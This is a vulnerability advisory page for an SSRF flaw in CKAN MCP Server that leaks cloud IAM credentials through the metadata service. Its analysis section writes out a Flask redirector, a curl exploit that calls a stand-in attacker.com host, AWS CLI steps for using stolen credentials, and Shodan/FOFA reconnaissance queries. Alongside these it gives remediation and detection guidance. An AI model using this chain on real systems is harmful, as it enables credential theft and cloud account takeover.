CVE Professor
/
All CVEs
CVE-2026-76812

CVE-2026-76812 — Ondata Ckan-mcp-server — CWE-200 · CWE-306

CRITICAL CVSS 9.3 Shodan

CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.110, on the project's shipped HTTP deployment, an unauthenticated remote attacker can make the server issue requests to internal-only addresses and read the responses. Pointing the sparql_query tool at an attacker-controlled endpoint that redirects to the cloud instance-metadata service (http://169.254.169.254/…) causes the server to follow the redirect (no re-validation), fetch the metadata, and return it — including, on IMDSv1, temporary IAM role credentials. This yields remote credential theft and lateral movement into the victim's cloud account. This issue has been patched in version 0.4.110.

CKAN MCP Server is a tool for querying CKAN open data portals. Prior to version 0.4.110, on the project's shipped HTTP deployment, an unauthenticated remote attacker can make the server issue requests to internal-only addresses and read the responses. Pointing the sparql_query tool at an attacker-controlled endpoint that redirects to the cloud instance-metadata service (http://169.254.169.254/…) causes the server to follow the redirect (no re-validation), fetch the metadata, and return it — including, on IMDSv1, temporary IAM role credentials. This yields remote credential theft and lateral movement into the victim's cloud account. This issue has been patched in version 0.4.110.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. None PR:N
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity Low I:L
Availability None A:N
AI Security Analysis & Remediation

🎯 What is this vulnerability?

This vulnerability is a Server-Side Request Forgery (SSRF) combined with Insecure Redirect Handling and Missing Authentication in the CKAN MCP Server.

Technical Flaw Analysis:
1. Missing Authentication (CWE-306): The HTTP deployment of the CKAN MCP Server exposes the sparql_query tool to unauthenticated remote attackers. There is no identity verification or API key requirement for this specific endpoint.
2. SSRF via Open Redirect (CWE-918): The server accepts a URL or endpoint parameter in the sparql_query tool. It initiates an HTTP request to this user-supplied address.
3. Lack of Re-validation on Redirects (CWE-200/CWE-918): Crucially, when the initial request receives an HTTP redirect (3xx status code) to an internal address (specifically the Cloud Instance Metadata Service at 169.254.169.254), the server does not re-validate the destination URL against a blocklist of internal/private IP ranges. It blindly follows the redirect.
4. Information Disclosure: The server fetches the content from the internal metadata service and returns the raw response body to the attacker.

Why it is Critical:
On cloud instances (AWS, GCP, Azure) using IMDSv1 (Instance Metadata Service version 1), the metadata endpoint does not require a session token. Therefore, an unauthenticated request to http://169.254.169.254/latest/meta-data/iam/security-credentials/ returns temporary IAM role credentials. This allows an attacker to steal cloud credentials and pivot into the victim's cloud account.


⚡ Attack Chain

1. Discovery & Reconnaissance

  • Target Identification: The attacker scans for hosts running the CKAN MCP Server. This can be done via:
  • * Shodan/Censys queries for open ports associated with the MCP server (commonly 8000, 8080, or 3000, depending on deployment). * Checking for the presence of the sparql_query endpoint or MCP-specific headers.
  • Version Check: The attacker attempts to identify the version. If the server does not disclose the version, the attacker can test for the vulnerability directly. If the request to the metadata service succeeds, the version is likely < 0.4.110.
  • 2. Exploitation

    The attacker sets up a malicious redirector server (e.g., attacker.com) that issues an HTTP 302 redirect to the cloud metadata service.

    Step A: Attacker's Redirector Server (Illustrative Python Flask Example)

    from flask import Flask, redirect
    app = Flask(__name__)
    
    @app.route('/redirect')
    def redirect_to_imds():
        # Redirect to AWS IMDSv1 IAM credentials endpoint
        return redirect('http://169.254.169.254/latest/meta-data/iam/security-credentials/')

    Step B: Attacker's Exploit Payload
    The attacker sends a request to the CKAN MCP Server's sparql_query tool, pointing it to the attacker's redirector.

    Note: The exact JSON-RPC or HTTP endpoint structure for the MCP server may vary by implementation, but the core mechanism is passing the URL to the sparql_query tool.

    Illustrative cURL Command:

    # Replace <TARGET_HOST> with the IP/Hostname of the vulnerable CKAN MCP Server
    # Replace <PORT> with the service port (e.g., 8000)
    
    curl -X POST http://<TARGET_HOST>:<PORT>/mcp/sparql_query \
      -H "Content-Type: application/json" \
      -d '{
        "tool": "sparql_query",
        "parameters": {
          "endpoint": "http://attacker.com/redirect"
        }
      }'

    Server Behavior:
    1. CKAN MCP Server receives the request.
    2. It initiates an HTTP GET to http://attacker.com/redirect.
    3. Attacker's server responds with HTTP/1.1 302 Found and Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/.
    4. CKAN MCP Server follows the redirect without checking if 169.254.169.254 is an internal IP.
    5. The server fetches the IAM credentials from the cloud provider.
    6. The server returns the JSON response containing AccessKeyId, SecretAccessKey, and Token to the attacker.

    3. Post-Exploitation

    1. Credential Theft: The attacker extracts the temporary IAM credentials from the response. 2. Cloud Account Compromise:
    # Configure AWS CLI with stolen credentials
        aws configure set aws_access_key_id <STOLEN_ACCESS_KEY_ID>
        aws configure set aws_secret_access_key <STOLEN_SECRET_ACCESS_KEY>
        aws configure set aws_session_token <STOLEN_TOKEN>
    
        # Verify access
        aws sts get-caller-identity

    3. Lateral Movement:
    * Access S3 buckets, RDS databases, and EC2 instances.
    * Deploy malicious workloads.
    * Exfiltrate sensitive data.
    * If the IAM role has broad permissions (e.g., AdministratorAccess), the attacker gains full control over the cloud account.


    🌍 Real World Impact

    CVSS Vector Analysis: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N

  • Attack Vector (AV:N): Exploitable remotely over the network.
  • Attack Complexity (AC:L): Low complexity. No race conditions or specific timing required.
  • Privileges Required (PR:N): No authentication required.
  • User Interaction (UI:N): No user interaction required.
  • Scope (S:C): Changed. The vulnerable component (MCP Server) is compromised, but the impact extends to a different security scope (the Cloud Account/IAM Role). This is why the score is high.
  • Confidentiality (C:H): High. Full access to temporary IAM credentials, which can lead to access to all resources the role can touch.
  • Integrity (I:L): Low. Direct integrity impact on the MCP server is low, but the compromised cloud credentials allow the attacker to modify cloud resources. The "Low" rating in the vector likely reflects the direct impact on the MCP server itself, but in practice, integrity impact on the cloud environment is High.
  • Availability (A:N): None. The vulnerability does not directly cause a denial of service.
  • Practical Consequences:

  • Cloud Account Takeover: Attackers can steal data, deploy ransomware, or use the account for crypto-mining.

  • Data Breach: Sensitive data in S3, RDS, or other cloud services can be exfiltrated.

  • Reputational Damage: If the cloud account is used for malicious activities (e.g., DDoS, phishing), the victim's IP ranges and account may be blacklisted.

  • Financial Loss: Unauthorized cloud resource usage can lead to significant billing costs.

  • 🛡️ Remediation & Mitigation

    1. Patching (Primary Solution)

  • Upgrade to version 0.4.110 or later.
  • The patch likely includes:
  • * Re-validation of redirect targets against a blocklist of private/internal IP ranges (RFC 1918, link-local, etc.). * Or, disabling redirect following for the sparql_query tool. * Or, adding authentication requirements to the MCP server endpoints.

    2. Workarounds (If Immediate Patching is Not Possible)

    A. Network-Level Restrictions (Most Effective)

  • Block IMDS Access from the MCP Server Host:

  • * Use security groups or firewall rules to block outbound traffic from the host running the CKAN MCP Server to 169.254.169.254.
    Note:* This may break legitimate functionality if the MCP server itself relies on IMDS for its own credentials. If so, use IMDSv2 (which requires a session token) or restrict access to specific metadata paths.
  • Restrict Access to the MCP Server:

  • * Place the MCP server behind a reverse proxy (e.g., Nginx, Apache) that requires authentication (e.g., API keys, OAuth) before forwarding requests to the MCP server.
    * Example Nginx configuration:

    location /mcp/ {
                auth_basic "Restricted";
                auth_basic_user_file /etc/nginx/.htpasswd;
                proxy_pass http://127.0.0.1:8000;
            }

    B. WAF/ModSecurity Rules

  • Implement a WAF rule to block requests to the sparql_query endpoint that contain internal IP addresses or redirect patterns.

  • Note:* This is less reliable than network restrictions because the redirect happens server-side. The WAF sees the initial request to attacker.com, not the redirect to 169.254.169.254. Therefore, network-level blocking of IMDS is superior.

    C. Disable the Vulnerable Tool

  • If the sparql_query tool is not required, disable it in the CKAN MCP Server configuration.
  • 3. Detection & IoCs

    Web Server Logs (MCP Server):

  • Look for requests to the sparql_query endpoint with endpoint parameters pointing to external domains.

  • Example log entry:
  • POST /mcp/sparql_query HTTP/1.1
        Content-Type: application/json
        {"tool": "sparql_query", "parameters": {"endpoint": "http://attacker.com/redirect"}}
  • Look for subsequent internal requests to 169.254.169.254 from the MCP server process.
  • Cloud Provider Logs (AWS CloudTrail):

  • Monitor for sts:GetCallerIdentity or other IAM API calls using the compromised temporary credentials.

  • Look for unusual API calls from the instance's IP address or the IAM role associated with the instance.
  • Network Traffic:

  • Monitor for outbound HTTP requests from the MCP server host to 169.254.169.254.

  • Use tools like Zeek or Suricata to detect SSRF attempts.

  • ⚠️ Urgency

    Priority: CRITICAL - Patch Immediately

  • CVSS Score: 9.3 (Critical)
  • Exploitability: Trivial. No authentication, no user interaction, low complexity.
  • Impact: Full cloud account compromise via credential theft.
  • CISA KEV: Not listed, but this does not diminish the risk. The vulnerability is actively exploitable in any cloud environment using IMDSv1.
  • Recommendation:
1. Immediately upgrade to CKAN MCP Server version 0.4.110 or later. 2. If upgrade is not possible, immediately block outbound traffic to 169.254.169.254 from the MCP server host via security groups/firewall. 3. Rotate any IAM credentials that may have been exposed. 4. Audit cloud activity for signs of compromise.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="ondata ckan-mcp-server"
CVSS Score
9.3 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-200 CWE-306 CWE-918
Affected Products (1)
ondata:ckan-mcp-server
References & Advisories (2)
Related CVEs
9.9
CVE-2026-45262
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.2, Core/Where.php::s
9.8
CVE-2026-121827
ZohoCorp ManageEngine Applications Manager versions 182800 and below were affected by an remote command execut
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
9.2
CVE-2026-144579
curl_cffi 0.15.0 through 0.17.0 contains a server-side request forgery protection bypass in allow_redirects='s
9.2
CVE-2026-115991
Exposure of sensitive information in the content lock-check endpoints (PUT /api/content/canLock and GET /api/v
8.9
CVE-2026-144591
PhpSpreadsheet through 5.12.0 contains a server-side request forgery vulnerability that allows attackers to re
8.8
CVE-2026-77417
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac